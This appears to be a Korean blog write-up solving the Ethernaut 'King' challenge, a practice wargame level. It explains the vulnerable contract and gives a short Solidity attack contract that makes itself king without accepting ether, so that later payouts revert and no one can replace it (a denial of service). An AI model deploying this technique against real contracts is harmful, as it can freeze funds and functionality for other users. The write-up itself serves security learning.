Tyojong

[The Ethernaut] King 본문

web3/The Ethernaut

[The Ethernaut] King

Tyojong 2026. 2. 3. 15:18

문제 설명


코드 분석

초기 owner, prize, king을 설정한다.

 

컨트랙트가 이더를 받으면 받은 이더가 prize보다 크거나 같은지 비교하고

기존 king의 주소로 받은 이더를 보낸다.

이후 king은 이더를 보낸 대상으로 설정되고

prize도 보낸 이더 크기만큼 다시 설정된다.

 


익스플로잇

문제 설명을 보면 인스턴스 제출 시 왕을 다시 얻는 시도를 한다고 작성되어있다.

문제 코드를 보면 새로운 왕이 설정되면 이더를 이전 왕에게 전송한다.

 

1. 만약 공격 컨트랙트를 이용해 문제 컨트랙트를 이더와 함께 호출하면

2. msg.sender로 인해 왕은 공격 컨트랙트로 설정되고

3. 다른 사용자가 새로운 왕으로 선정될 때 이더를 공격 컨트랙트로 전송하게 된다.

4. 이때 공격 컨트랙트가 이더를 받지 않도록 설정되면 revert되어 새로운 왕이 변경되지 않는 Dos가 발생하게 된다.

 

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract KingAttack {
        function attack(address _target) public payable {
                (bool success,) = _target.call{value: msg.value}("");
                require(success, "fail");
        }
}

문제 컨트랙트 주소를 인자로 입력받아 이더와 함께 호출한다.

공격 컨트랙트에는 receive함수를 구현하지 않아 이더를 받지 않도록 하였다.

 

 

현재 문제 컨트랙트에 저장되어있는 이더가 0.001eth 이므로 이보다 크거나 같은 이더를 보내야하기 때문에

배포한 공격 컨트랙트를 0.001eth와 함께 호출하면 문제가 해결된다.

'web3 > The Ethernaut' 카테고리의 다른 글

[The Ethernaut] Vault  (0) 2026.01.28
[The Ethernaut] Force  (0) 2026.01.28
[The Ethernaut] Delegation  (0) 2026.01.27
[The Ethernaut] Token  (0) 2026.01.26
[The Ethernaut] Coin Flip  (0) 2026.01.26